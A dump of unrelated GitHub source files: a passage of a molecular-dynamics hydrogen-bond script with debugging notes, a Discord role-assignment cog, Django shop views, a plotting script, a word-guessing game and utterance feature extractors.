'800', 'OP52', 'HO6'],\n\t\t\t['PI2P', '797', 'O6', 'PI2P', '800', 'OP53', 'HO6'],\n\t\t\t['PI2P', '797', 'O6', 'PI2P', '800', 'OP54', 'HO6'],\n\t\t\t['PI2P', '797', 'OP52', 'PI2P', '800', 'O5', 'H52'],\n\t\t\t['PI2P', '797', 'OP52', 'PI2P', '800', 'OP52', 'H52'],\n\t\t\t['PI2P', '797', 'OP52', 'PI2P', '800', 'OP53', 'H52'],\n\t\t\t['PI2P', '797', 'OP52', 'PI2P', '800', 'OP54', 'H52']], \n\t\t\tdtype='|S4')\n\t\t>>> bonds_red[bonds_inds][subsel]\n\t\tarray([['PI2P', '800', 'PI2P', '797'],\n\t\t\t['PI2P', '797', 'PI2P', '800'], ...\n\t\tand this means that we can check for the bond again\n\t\t\tand there it is, when we check:\n\t\t\t\tbonds[map_red_to_obs[ranking[rank_num]]]\n\t\t\tso the above confusion about the bond never being there is wrong and now we are in the right spot\n\tthe kernel of our selection procedure, after whittling things down a bunch, is as follows\n\t\tmap_red_to_obs[ranking[rank_num]]\n\t\tbonds[map_red_to_obs[ranking[rank_num]]]\n\t\tthe bonds version tells us there is an O6-O5 bond between 797-800 in position 2 the third\n\t\tlet's see why it's being added to the bond_spec for rendering\n\thaving selected two residues, then gotten the bonds with these residues using map_red_to_obs, we now select a frame\n\t\tnp.argmax(obs.T[map_red_to_obs[ranking[rank_num]]].sum(axis=0))\n\t\tthis tells us that the most number of bonds for the 797-800 pairing is 2\n\t\thowever most are 0,1,2 so there might be redundancies\n\t\tthe argmax is at frame 686 which we have been intensely debugging\n\t\tobs[fr][map_red_to_obs[ranking[rank_num]]]\n\t\tnp.where(obs[fr][map_red_to_obs[ranking[rank_num]]])\n\t\tthis tells us that at frame 686 we are observing bonds 2 and 9\n\t\tthese are the two bonds we are plotting\n\t\t>>> bonds[map_red_to_obs[ranking[rank_num]]][np.where(obs[fr][map_red_to_obs[ranking[rank_num]]])[0]]\n\t\tarray([['PI2P', '797', 'O6', 'PI2P', '800', 'O5', 'HO6'],\n\t\t\t['PI2P', '797', 'OP52', 'PI2P', '800', 'OP54', 'H52']],dtype='|S4')\n\tat this point it appears that the calculation is correctly recording a single OP52-OP54 bond from the core code at frame 686, *and* that the snapshotter is picking up that bond and another one\n\t\tthis leaves few places for the error to occur, so hopefully I am getting close\n\t\tthe problem might be in obs falsely recording that bond at this frame\n\t\twhich means that the error is in the tabulator\n\t\twhich will be harder to debug because it requires a full run and not a single frame\n\tran the tabulator and pulled up the snapshotter alongside it by moving the post data around so now we can compare\n\t\tfirst we get the row number for our target bonds from the snapshotter\n\t\t\t>>> obs[fr][map_red_to_obs[ranking[rank_num]]]\n\t\t\tarray([ 0., 0., 1., 0., 0., 0., 0., 0., 0., 1.])\n\t\t\t>>> map_red_to_obs[ranking[rank_num]]\n\t\t\tarray([18593, 18602, 18603, 18604, 18605, 18606, 18616, 18617, 18618, 18619])\n\t\tthen we check they are the right bonds in the calculation\n\t\t\tipdb> bonds[18603]\n\t\t\tarray(['PI2P', 797, 'O6', 'PI2P', 800, 'O5', 'HO6'], dtype=object)\n\t\t\tipdb> bonds[18619]\n\t\t\tarray(['PI2P', 797, 'OP52', 'PI2P', 800, 'OP54', 'H52'], dtype=object)\n\t\tas expected, both of the bonds are there\n\t\tnow let's check the stuff that went into the tabulator via \"incoming[686]\"\n\t\tperform the same joint search as above on the incoming variable\n\t\tbut first note that the donors in incoming is the valid donors\n\t\tand valid_donors = close_donors[valid]\n\t\tthe original joint search is\n\t\t\tnp.where(np.all((donors_side[donors_inds[0]][close_donors].resids==797,donors_side[donors_inds[0]][close_donors].names=='O6',acceptors_side[close_acceptors].resids==800,acceptors_side[close_acceptors].names=='O5'),axis=0))\n\t\tbut we are using close donors not valid donors\n\t\tlet's reconstruct two versions of it\n\t\tfirst we put the donors from incoming in as close_donors\n\t\t\tnp.where(np.all((donors_side[donors_inds[0]][incoming[686]['donors']].resids==797,donors_side[donors_inds[0]][incoming[686]['donors']].names=='O6',acceptors_side[incoming[686]['acceptors']].resids==800,acceptors_side[incoming[686]['acceptors']].names=='O5'),axis=0))\n\t\t\tand we get nothing\n\t\tnow we check the bond that we know is there is in the list\n\t\t\tnp.where(np.all((donors_side[donors_inds[0]][incoming[686]['donors']].resids==797,donors_side[donors_inds[0]][incoming[686]['donors']].names=='OP52',acceptors_side[incoming[686]['acceptors']].resids==800,acceptors_side[incoming[686]['acceptors']].names=='OP54'),axis=0))\n\t\t\talso nothing\n\t\tmore conservatively we try\n\t\t\tnp.where(np.all((donors_side[donors_inds[0]][incoming[686]['donors']].resids==797,acceptors_side[incoming[686]['acceptors']].resids==800),axis=0))\n\t\t\talso nothing\n\t\tlooks like we have the wrong indexing\n\t\t\t(donors_side[incoming[686]['donors']].resids==797).sum() returns 5\n\t\tdropping the donors_inds[0] indexing and trying the joint resid-resid check again gives nothing\n\t\t\tnp.where(np.all((donors_side[incoming[686]['donors']].resids==797,acceptors_side[incoming[686]['acceptors']].resids==800),axis=0))\n\t\tchecking them individually\n\t\t\tipdb> acceptors_side[acceptors_side[incoming[686]['acceptors']].resids==800].resnames\n\t\t\t\tarray(['CHL1', 'CHL1', 'CHL1', 'CHL1', 'CHL1', 'CHL1', 'CHL1', 'CHL1',\n\t\t\t\t'CHL1', 'CHL1', 'CHL1'], dtype=object)\t\t\t\n\t\tipdb> donors_side[donors_side[incoming[686]['donors']].resids==797].resnames\n\t\t/run/media/rpb/store-omicron/factory/env/envs/py2/lib/python2.7/site-packages/MDAnalysis/core/groups.py:447: VisibleDeprecationWarning: boolean index did not match indexed array along dimension 0; dimension is 182387 but corresponding boolean dimension is 42482\n\t\t\treturn self._derived_class(self.ix[item], self.universe)\n\t\t\tarray(['PI2P', 'SOL', 'SOL', 'SOL', 'SOL'], dtype=object)\n\t\tso this is definitely a problem\n\t\ttrying many different ways of indexing donors_side with donors_inds and incoming[686]['donors']\n\t\t\tbut none of them are making sense e.g.\n\t\t\t\tipdb> donors_side[donors_side[incoming[686]['donors']].resids==797].resnames\n\t\t\t\t/run/media/rpb/store-omicron/factory/env/envs/py2/lib/python2.7/site-packages/MDAnalysis/core/groups.py:447: VisibleDeprecationWarning: boolean index did not match indexed array along dimension 0; dimension is 182387 but corresponding boolean dimension is 42482\n\t\t\t\treturn self._derived_class(self.ix[item], self.universe)\n\t\t\t\tarray(['PI2P', 'SOL', 'SOL', 'SOL', 'SOL'], dtype=object)\n\t\t\t\tipdb> donors_side[donors_inds[0]][donors_side[donors_inds[0]][incoming[686]['donors']].resids==797].resnames\n\t\t\t\t/run/media/rpb/store-omicron/factory/env/envs/py2/lib/python2.7/site-packages/MDAnalysis/core/groups.py:447: VisibleDeprecationWarning: boolean index did not match indexed array along dimension 0; dimension is 122138 but corresponding boolean dimension is 42482\n\t\t\t\treturn self._derived_class(self.ix[item], self.universe)\n\t\t\t\tarray(['SOL', 'SOL'], dtype=object)\n\t\t\t\tipdb> donors_side[donors_side[incoming[686]['donors'][donors_inds[0]]].resids==797].resnames\n\t\t\t\t*** IndexError: index 42482 is out of bounds for axis 1 with size 42482\n\t\t\t\tipdb> donors_side[donors_side[donors_inds[0][incoming[686]['donors']]].resids==797].resnames\n\t\t\t\tarray(['SOL', 'SOL'], dtype=object)\n\t\t\t\tipdb> donors_side[donors_inds[0]][donors_side[donors_inds[0][incoming[686]['donors']]].resids==797].resnames\n\t\t\t\tarray(['SOL', 'SOL'], dtype=object)\n\t\tfirst we cannot index donors side directly because it is showing hydrogens as heavy donors\n\t\t\tipdb> donors_side[incoming[686]['donors']].names\n\t\t\tarray(['HW2', 'OW', 'OW', ..., 'HW2', 'HW2', 'HW1'], dtype=object)\n\t\tit makes more sense to index donors_side via donors_inds before indexing over incoming\n\t\t\tipdb> donors_side[donors_inds[0]][incoming[686]['donors']].names\n\t\t\tarray(['OW', 'OW', 'OW', ..., 'OW', 'OW', 'OW'], dtype=object)\n\t\t\tipdb> donors_side[donors_inds[1]][incoming[686]['donors']].names\n\t\t\tarray(['HW2', 'HW1', 'HW2', ..., 'HW1', 'HW1', 'HW1'], dtype=object)\n\t\tthis is already the way that donor_cat is constructed, so it seems correct\n\tsnip out the frame's bond list from tabulation just to check it\n\t\tbonds_this = tabulation[frame_lims[686]:frame_lims[686+1]]\n\t\tbonds_this[np.where(bonds_this[:,1]==797)]\n\t\t\tshows our nefarious evil bond\n\tnote that the above bonds_this call is like the obs that gets added to the total number of observations during the counting step, so the following shows us how the wrong bond gets from tabulation to the final observation list\n\t\t\tipdb> bonds_this[np.where(bonds_this[:,1]==797)]\n\t\t\tarray([['PI2P', 797, 'O3', 'PI2P', 797, 'OP42', 'HO3'],\n\t\t\t\t['PI2P', 797, 'O3', 'PI2P', 797, 'OP42', 'HO3'],\n\t\t\t\t['PI2P', 797, 'O6', 'PI2P', 800, 'O5', 'HO6'],\n\t\t\t\t['PI2P', 797, 'O6', 'PI2P', 800, 'O5', 'HO6'],\n\t\t\t\t['PI2P', 797, 'OP52', 'PI2P', 800, 'OP54', 'H52']], dtype=object)\n\t\t\tipdb> np.array([bonds_to_idx[tuple(o)] for o in bonds_this[np.where(bonds_this[:,1]==797)]])\n\t\t\tarray([18591, 18591, 18603, 18603, 18619])\n\t\tso the remaining questions are basically how does the bond get into the tabulation list for this frame, and more importantly, can we prove it's not in the incoming list?\n\t\talso note that some of the resids for SOL are strings but for lipids they are integers?\n\t\t\tthis is a trick we play with water, changing everything to residue \"1\"\n\tpossible cause: the valid_frames has caused us to be off by a certain number of frames, even though I checked +/- 1 frame, it might just be the case that it's off by more\n\tswitched bonds_this to valid_frames[686] which is really frame 689\n\t\tipdb> bonds_this = tabulation[frame_lims[689]:frame_lims[689+1]]\n\t\tipdb> np.array([bonds_to_idx[tuple(o)] for o in bonds_this[np.where(bonds_this[:,1]==797)]])\n\t\tarray([18591, 18591, 18588, 18588, 18619])\n\t\tipdb> bonds[np.array([bonds_to_idx[tuple(o)] for o in bonds_this[np.where(bonds_this[:,1]==797)]])]\n\t\tarray([['PI2P', 797, 'O3', 'PI2P', 797, 'OP42', 'HO3'],\n\t\t ['PI2P', 797, 'O3', 'PI2P', 797, 'OP42', 'HO3'],\n\t\t ['PI2P', 797, 'O2', 'PI2P', 797, 'OP53', 'HO2'],\n\t\t ['PI2P', 797, 'O2', 'PI2P', 797, 'OP53', 'HO2'],\n\t\t ['PI2P', 797, 'OP52', 'PI2P', 800, 'OP54', 'H52']], dtype=object)\n\t\tnow we only see the one correct bond so maybe 686 is really 689\n\t\tbut I am concerned this might be exactly backwards\n\t\twent back to VMD (thankfully I am at home) and jumped to frame 689 and BOTH OF THE BONDS ARE THERE AND THEY LOOK GREAT HUZZAH THIS IS THE PROBLEM. debugged this from 0755-0945\n\tend result is that all of the hydrogen bonds are wrong so they need to be recomputed with a fix\n\twhat should the fix be?\n\t\"\"\"\n\t#import ipdb;ipdb.set_trace()\n\treturn {'donors':valid_donors,'acceptors':valid_acceptors}\n\ndef salt_bridges_framewise(fr,**kwargs):\n\n\t\"\"\"\n\tCompute hydrogen bonds inside a joblib parallel call, over periodic boundary conditions.\n\tSee hydrogen_bonding.py.\n\tUses the old, brute force method for inferring hyrogen bonds.\n\tDeprecated by the non-brute, explicit hydrogen method from the ITP parser code.\n\t\"\"\"\n\n\tdistance_cutoff = kwargs['distance_cutoff']\n\tlenscale = kwargs.get('lenscale',10.0)\n\tvec = vecs[fr]\n\n\t#---ensure that the points are inside the box\n\tboxstuff = lambda pts,vec : pts-(pts>vec)*vec+(pts0),axis=0)))\n\tclose_pairs_a = np.transpose(np.where(np.all((close_a0),axis=0)))\n\t#---get the ions with close donors or acceptors\n\tclose_ions_to_donors = nns_d[aind(close_pairs_d)]\n\tclose_ions_to_acceptors = nns_a[aind(close_pairs_a)]\n\t#---use some memory to organize these for an easy comparison by row (ions)\n\tcations_to_acceptors = np.zeros((len(pts_cations),len(pts_fore)))\n\tcations_to_donors = np.zeros((len(pts_cations),len(pts_back)))\n\tcations_to_acceptors[tuple((close_ions_to_acceptors,close_pairs_a[:,0]))] += 1\n\tcations_to_donors[tuple((close_ions_to_donors,close_pairs_d[:,0]))] += 1\n\n\t#---previously filtered SOL out here but this had an indexing inconsistency \n\t#---...so we moved that filter to salt_bridges.py\n\tvalid_bridges = np.where(np.all((cations_to_acceptors.sum(axis=1),\n\t\tcations_to_donors.sum(axis=1)),axis=0))[0]\n\n\t#---take all combinations of donor and acceptor for each ion, particularly since they might be on the \n\t#---...same molecule and later we want to get the intermolecular ones\n\tmaster_bridge_listing = []\n\tfor vb in valid_bridges:\n\t\tcombos = np.array(\n\t\t\tnp.meshgrid(np.where(cations_to_acceptors[vb])[0],[vb],np.where(cations_to_donors[vb])[0])\n\t\t\t).T.reshape(-1,3)\n\t\tmaster_bridge_listing.extend(combos)\n\tmaster_bridge_listing = np.array(master_bridge_listing)\n\n\t#---! NAMES ARE REAL BAD HERE. this was a mistake\n\tif False:\n\t\t#---! in the following \"close_donors\" is e.g. the close ions not the heavy atoms\n\t\tclose_d,nns_d = tree.query(pts_back,k=10,distance_upper_bound=distance_cutoff/lenscale)\n\t\t#---index pairs within the cutoff distance\n\t\tclose_pairs_d = np.transpose(np.where(np.all((close_d0),axis=0)))\n\t\t#---list of close donors\n\t\tclose_donors = nns_d[aind(close_pairs_d)]\n\t\tclose_ions_d = close_pairs_d[:,0]\n\t\t#---now get the acceptors\n\t\tclose_a,nns_a = tree.query(pts_fore,k=10,distance_upper_bound=distance_cutoff/lenscale)\n\t\t#---index pairs within the cutoff distance\n\t\tclose_pairs_a = np.transpose(np.where(np.all((close_a0),axis=0)))\n\t\t#---list of close donors\n\t\tclose_acceptors = nns_a[aind(close_pairs_a)]\n\t\tclose_ions_a = close_pairs_a[:,0]\n\n\t\t#---waste some memory to organize these\n\t\tcations_to_acceptors = np.zeros((len(pts_cations),len(pts_fore)))\n\t\tcations_to_donors = np.zeros((len(pts_cations),len(pts_back)))\n\t\tcations_to_acceptors[tuple((close_acceptors,close_ions_a))] += 1\n\t\tcations_to_donors[tuple((close_donors,close_ions_d))] += 1\n\n\t\t#---previously filtered SOL out here but this had an indexing inconsistency \n\t\t#---...so we moved that filter to salt_bridges.py\n\t\tvalid_bridges = np.where(np.all((cations_to_acceptors.sum(axis=1),\n\t\t\tcations_to_donors.sum(axis=1)),axis=0))[0]\n\n\t\t#---take all combinations of donor and acceptor for each ion, particularly since they might be on the \n\t\t#---...same molecule and later we want to get the intermolecular ones\n\t\tmaster_bridge_listing = []\n\t\tfor vb in valid_bridges:\n\t\t\tcombos = np.array(\n\t\t\t\tnp.meshgrid(np.where(close_acceptors==vb)[0],[vb],np.where(close_donors==vb)[0])\n\t\t\t\t).T.reshape(-1,3)\n\t\t\tmaster_bridge_listing.extend(combos)\n\t\tmaster_bridge_listing = np.array(master_bridge_listing)\n\n\t#---return a list of acceptor, ion, donor triplets\n\treturn master_bridge_listing\n","repo_name":"bradleyrp/omni-single","sub_path":"codes/hbonds.py","file_name":"hbonds.py","file_ext":"py","file_size_in_byte":24006,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"41413069262","text":"##> Imports\n# > Discord dependencies\nimport discord\nfrom discord.ext import commands\n\n# Import local dependencies\nfrom config import config\n\n\nclass On_member_join(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n @commands.Cog.listener()\n async def on_member_join(self, member):\n \"\"\"Gives new users the role Tryout\"\"\"\n role = discord.utils.get(\n member.guild.roles, name=config[\"LISTENERS\"][\"ON_MEMBER_JOIN\"][\"ROLE\"]\n )\n await member.add_roles(role)\n\n\ndef setup(bot):\n bot.add_cog(On_member_join(bot))\n","repo_name":"StephanAkkerman/axie-manager-bot","sub_path":"src/cogs/listeners/on_member_join.py","file_name":"on_member_join.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"0"}
+{"seq_id":"3754236891","text":"from django.shortcuts import render, redirect, reverse\r\nfrom django.http import HttpResponse, HttpResponseRedirect\r\nfrom .forms import ProductsForm, ProfileForm, UserForm, CreateOrderForm\r\nfrom django.contrib import messages\r\nfrom .models import Product, Customer, Order\r\nfrom users.forms import CreateUSerForm\r\nfrom accounts.models import Category\r\nfrom pages.models import HomeSetting\r\nfrom django.contrib.auth.forms import PasswordChangeForm\r\nfrom django.contrib.auth import update_session_auth_hash\r\nfrom django.contrib.auth.decorators import login_required\r\n\r\n# Create your views here.\r\n@login_required(login_url = 'Login')\r\ndef upload_products(request, pk):\r\n Home = HomeSetting.objects.get(id=1)\r\n customers = Customer.objects.get(id=pk)\r\n category = Category.objects.all()\r\n form \t=\tProductsForm(request.POST or None, request.FILES or None)\r\n if request.method \t== 'POST':\r\n if form.is_valid():\r\n obj=form.save(commit=False)\r\n obj.user=request.user.customer;\r\n obj.save()\r\n form \t\t\t=\tProductsForm()\r\n messages.success(request, 'Product has been succesfully uploaded')\r\n context\t\t\t\t\t=\t{\r\n\t\t\t\t\t\t\t\t'form': form,\r\n 'customers':customers,\r\n 'category': category,\r\n 'Home': Home,\r\n\t\t\t\t}\r\n return render(request, 'upload_products.html' , context)\r\n\r\n@login_required(login_url = 'Login')\r\ndef update_products(request, pk, pk_prod):\r\n Home = HomeSetting.objects.get(id=1)\r\n customers = Customer.objects.get(id=pk)\r\n category = Category.objects.all()\r\n products = Product.objects.get(id=pk_prod)\r\n form = ProductsForm(request.POST or None, request.FILES or None, instance=products)\r\n if request.method == 'POST':\r\n if form.is_valid():\r\n form.save()\r\n return redirect('MyProductsView', customers.id)\r\n context = {\r\n 'form': form,\r\n 'customers':customers,\r\n 'category': category,\r\n 'products': products,\r\n 'Home': Home,\r\n }\r\n return render(request, 'update_products.html' , context)\r\n\r\n@login_required(login_url = 'Login')\r\ndef delete_products(request, pk, pk_prod):\r\n Home = HomeSetting.objects.get(id=1)\r\n customers = Customer.objects.get(id=pk)\r\n category = Category.objects.all()\r\n products = Product.objects.get(id=pk_prod)\r\n if request.method == 'POST':\r\n products.delete()\r\n return redirect('MyProductsView', customers.id)\r\n context = {\r\n 'customers':customers,\r\n 'category': category,\r\n 'products': products,\r\n 'Home': Home,\r\n }\r\n return render(request, 'delete_product.html' , context)\r\n\r\n@login_required(login_url = 'Login')\r\ndef update_profile(request, pk):\r\n Home = HomeSetting.objects.get(id=1)\r\n category = Category.objects.all()\r\n customers = Customer.objects.get(id=pk)\r\n user_form = UserForm(instance=request.user)\r\n userform = ProfileForm(instance=request.user.customer)\r\n if request.method == 'POST':\r\n user_form = UserForm(request.POST, request.FILES, instance=request.user)\r\n userform = ProfileForm(request.POST, request.FILES,instance=request.user.customer)\r\n if user_form.is_valid() and userform.is_valid():\r\n user_form.save()\r\n userform.save()\r\n user_form = UserForm(instance=request.user)\r\n userform = ProfileForm(instance=request.user.customer)\r\n messages.success(request, ('Your profile has been successfully updated!'))\r\n context = {\r\n 'category': category,\r\n 'userform': userform,\r\n 'user_form': user_form,\r\n 'customers':customers,\r\n 'Home': Home,\r\n }\r\n return render(request, 'update_profile.html', context)\r\n\r\n@login_required(login_url = 'Login')\r\ndef orders_view(request, pk):\r\n Home = HomeSetting.objects.get(id=1)\r\n category = Category.objects.all()\r\n customers = Customer.objects.get(id=pk)\r\n orders = customers.order_set.all()\r\n context = {\r\n 'customers':customers,\r\n 'category': category,\r\n 'orders': orders,\r\n 'Home': Home,\r\n }\r\n return render(request, 'orders.html', context)\r\n\r\n@login_required(login_url = 'Login')\r\ndef update_orders(request, pk, pk_prod):\r\n Home = HomeSetting.objects.get(id=1)\r\n customers = Customer.objects.get(id=pk)\r\n category = Category.objects.all()\r\n orders = Order.objects.get(id=pk_prod)\r\n form = CreateOrderForm(request.POST or None, request.FILES or None, instance=orders)\r\n if request.method == 'POST':\r\n if form.is_valid():\r\n form.save()\r\n return redirect('orderView', customers.id)\r\n context = {\r\n 'form': form,\r\n 'customers':customers,\r\n 'category': category,\r\n 'Home': Home,\r\n }\r\n return render(request, 'update_order.html' , context)\r\n\r\n@login_required(login_url = 'Login')\r\ndef Myproducts(request, pk):\r\n Home = HomeSetting.objects.get(id=1)\r\n category = Category.objects.all()\r\n customers = Customer.objects.get(id=pk)\r\n products = customers.product_set.all()\r\n context = {\r\n 'products':products,\r\n 'customers':customers,\r\n 'category': category,\r\n 'Home': Home,\r\n }\r\n return render(request, 'my_products.html', context)\r\n\r\n@login_required(login_url = 'Login')\r\ndef CreateOrder(request, pk, pk_prod):\r\n Home = HomeSetting.objects.get(id=1)\r\n customers = Customer.objects.get(id=pk)\r\n products = Product.objects.get(id=pk_prod)\r\n prod = products.title\r\n category = Category.objects.all()\r\n form = CreateOrderForm(request.POST or None, initial={'product': prod})\r\n if request.method == 'POST':\r\n if form.is_valid():\r\n obj=form.save(commit=False)\r\n obj.user=request.user.customer;\r\n obj.save()\r\n form = CreateOrderForm()\r\n return redirect('orderView', customers.id)\r\n messages.success(request, 'Order has been succesfully created')\r\n context = {\r\n 'form': form,\r\n 'customers':customers,\r\n 'category': category,\r\n 'Home': Home,\r\n }\r\n return render(request, 'create_order.html' , context)\r\n\r\n@login_required(login_url = 'Login')\r\ndef userpassword(request, pk):\r\n customers = Customer.objects.get(id=pk)\r\n if request.method=='POST':\r\n formie = PasswordChangeForm(request.user, request.POST)\r\n if formie.is_valid():\r\n user = formie.save()\r\n update_session_auth_hash(request, user)\r\n messages.success(request, 'Your password was successfully updated!')\r\n return redirect('UserPassword', customers.id)\r\n else:\r\n messages.error(request, 'Please correct the error(s) below.
' + str(formie.errors))\r\n return redirect('UserPassword', customers.id)\r\n else:\r\n formie = PasswordChangeForm(request.user)\r\n context = {\r\n 'formie': formie,\r\n 'customers': customers,\r\n }\r\n return render(request, 'change_password.html', context)","repo_name":"yusufom/marlymart","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"436692173","text":"import numpy as np\nimport matplotlib as mpl\nmpl.use('Agg')\nimport matplotlib.pyplot as plt\n\ndef main():\n fp = open('data.proxQN.aloi','r')\n time = []\n fun = []\n for line in fp:\n line = line.strip().split(' ')\n time.append(line[0])\n fun.append(line[1])\n \n fp = open('data.BCD.1.aloi','r')\n time1 = []\n fun1 = []\n for line in fp:\n line = line.strip().split(' ')\n time1.append(line[0])\n fun1.append(line[1])\n \n fp = open('data.BCD.aloi','r')\n time2 = []\n fun2 = []\n for line in fp:\n line = line.strip().split(' ')\n time2.append(line[0])\n fun2.append(line[1])\n plt.plot(time,fun,label='proxQN')\n plt.plot(time1,fun1,label='BCD m=1')\n plt.plot(time2,fun2,label='BCD m=5')\n plt.legend(loc=1)\n plt.ylabel('objective function')\n plt.xlabel('time(s)')\n plt.savefig('aloi.png')\nif __name__ == '__main__':\n main()\n","repo_name":"a061105/AugmentedLimitedMem","sub_path":"Dsplit/CRFsparse/source/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"73336980836","text":"import random\nimport string\nalfa = string.ascii_uppercase\nvijf_te_raden_worden = ['green', 'red', 'pink', 'blue', 'white']\nkansen = 5\ninvoer = \"\"\nguessing_word=[]\nlist_of_tries=[]\ngeraden = 0\nplay = True\ndouble_letter = 0\n\nwhile len(vijf_te_raden_worden) > 0 and play == True:\n te_raden = random.choice(vijf_te_raden_worden)\n woord = te_raden.upper()\n guessing_word = [\"_\" for i in woord]\n\n guessing_word_str = ''.join([str(element) for element in guessing_word])\n print(woord)\n\n print(\"I'm thinking about some color, it's... Try to guess name of it! Try with 1 letter.\")\n while woord != guessing_word_str and kansen > 0:\n print(\"You have \" +str(kansen)+ \" tries. \" + guessing_word_str)\n invoer = (input(\"Which color it could be? \")).upper()\n\n if len(invoer) == 1:\n if invoer in alfa:\n for i in range(len(woord)):\n if woord[i] == invoer:\n guessing_word[i] = invoer\n kansen += 1\n double_letter = guessing_word.count(invoer)\n #print(double_letter)\n if double_letter > 1:\n kansen -= 1;\n\n\n kansen -= 1\n guessing_word_str = ''.join([str(element) for element in guessing_word])\n list_of_tries.append(invoer)\n print(\"You did try already: \" + str(list_of_tries) + \" times.\")\n else:\n print(\"not a letter\")\n else:\n print(\"ONLY 1 LETTER!\")\n\n\n if guessing_word_str == woord :\n print(\"Yes, it is \"+ guessing_word_str +\"! Congrats!\")\n geraden += 1\n vijf_te_raden_worden.remove(te_raden)\n guessing_word.clear()\n list_of_tries.clear()\n if len(vijf_te_raden_worden) > 0:\n new_game=(input(\"One more time? Press any key for yes / N for no: \")).upper()\n if new_game == \"N\":\n play == False\n break\n\n else:\n print(\"Sorry, you lost!\")\n play = False\n\nif len(vijf_te_raden_worden) == 0:\n print(\"Yaaaayyyyyy! You won \" + str(geraden) + \" times ! ! ! You are THE WINNER!!!\")\n","repo_name":"zynasiuk/galgje","sub_path":"galgje.py","file_name":"galgje.py","file_ext":"py","file_size_in_byte":2197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"28283881352","text":"# returns the number of questions marks in utterance\nfrom __future__ import division\nfrom vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer\nfrom sklearn.feature_extraction.text import CountVectorizer\n\nfrom nltk.corpus import stopwords \nfrom nltk.tokenize import word_tokenize \nimport nltk\nnltk.download('stopwords')\nnltk.download('punkt')\n\ndef count_qs(utterances):\n\tn = [];\n\tfor u in utterances:\n\t\tif u.find('?') != -1:\n\t\t\tn.append(1)\n\t\telse:\n\t\t\tn.append(0)\n\treturn n\n\n\ndef W5H1(utterances):\n\t# how, what, why, who, where, when\n\tres = []\n\tfor utterance in utterances:\n\t\twh_vector = [0] * 6\n\n\t\twh_vector[0] = 1 if utterance.find('how') != -1 else 0\n\t\twh_vector[1] = 1 if utterance.find('what') != -1 else 0\n\t\twh_vector[2] = 1 if utterance.find('why') != -1 else 0\n\t\twh_vector[3] = 1 if utterance.find('who') != -1 else 0\n\t\twh_vector[4] = 1 if utterance.find('where') != -1 else 0\n\t\twh_vector[5] = 1 if utterance.find('when') != -1 else 0\n\n\n\t\tres.append(list(map(str, wh_vector)))\n\treturn res\n\ndef thanks(utterances):\n\tn = [];\n\tfor u in utterances:\n\t\tif u.find('thank') != -1:\n\t\t\tn.append(1)\n\t\telse:\n\t\t\tn.append(0)\n\treturn n\n\ndef abs_position(utterances):\n\tpos = [0]*len(utterances)\n\tfor i, utterance in enumerate(utterances):\n\t\tpos[i] = i\n\treturn pos\n\ndef norm_position(utterances):\n\tpos = [0]*len(utterances)\n\tfor i, utterance in enumerate(utterances):\n\t\tpos[i] = round(i / len(utterances), 2)\n\treturn pos\t\n\ndef isUser(userTypes):\n\tresponses = []\n\tfor i, t in enumerate(userTypes):\n\t\tif(userTypes[i] == \"User\"):\n\t\t\tresponses.append(1)\n\t\telse:\n\t\t\tresponses.append(0)\n\treturn responses\n\ndef vaderSentiment(utterances):\n\tsentiments = []\n\tanalyzer = SentimentIntensityAnalyzer()\n\tfor utterance in utterances:\n\t\tsent = analyzer.polarity_scores(utterance)\n\t\ts = {\n\t\t\t\"pos\": round(sent[\"pos\"], 2),\n\t\t\t\"neu\": round(sent[\"neu\"], 2),\n\t\t\t\"neg\": round(sent[\"neg\"], 2),\n\t\t}\n\t\tsentiments.append(s)\n\treturn sentiments\n\ndef duplicates(utterances):\n\t# how, what, why, who, where, when\n\tres = []\n\tfor utterance in utterances:\n\t\twh_vector = [0] * 2\n\n\t\twh_vector[0] = 1 if utterance.find('same') != -1 else 0\n\t\twh_vector[1] = 1 if utterance.find('similar') != -1 else 0\n\t\tres.append(list(map(str, wh_vector)))\n\treturn res\n\ndef numberOfWords(utterances):\n\tlengths = []\n\tstop_words = set(stopwords.words('english')) \n\tfor utterance in utterances:\n\t\tword_tokens = word_tokenize(utterance) \n\t\tfiltered_sentence = [w for w in word_tokens if not w in stop_words] \n\t\tlengths.append(len(filtered_sentence))\n\treturn lengths\n\ndef numberOfUniqueWords(utterances):\n\tlengths = []\n\tstop_words = set(stopwords.words('english')) \n\tfor utterance in utterances:\n\t\tword_tokens = word_tokenize(utterance) \n\t\tfiltered_sentence = [w for w in word_tokens if not w in stop_words] \n\t\tlengths.append(len(set(filtered_sentence)))\n\treturn lengths\n\n\ndef exclam_mark(utterances):\n\tn = [];\n\tfor u in utterances:\n\t\tif u.find('!') != -1:\n\t\t\tn.append(1)\n\t\telse:\n\t\t\tn.append(0)\n\treturn n\n\ndef feedback(utterances):\n\tres = []\n\tfor utterance in utterances:\n\t\twh_vector = [0] * 2\n\n\t\twh_vector[0] = 1 if utterance.find('did not') or utterance.find('didn\\'t') != -1 else 0\n\t\twh_vector[1] = 1 if utterance.find('does not') or utterance.find('doesn\\'t') != -1 else 0\n\n\t\tres.append(list(map(str, wh_vector)))\n\treturn res\n\n# def bagOfWords(utterances):\n# \tres = []\n\n\n","repo_name":"PierpaoloLucarelli/User-Intent-Prediction","sub_path":"features/content.py","file_name":"content.py","file_ext":"py","file_size_in_byte":3318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
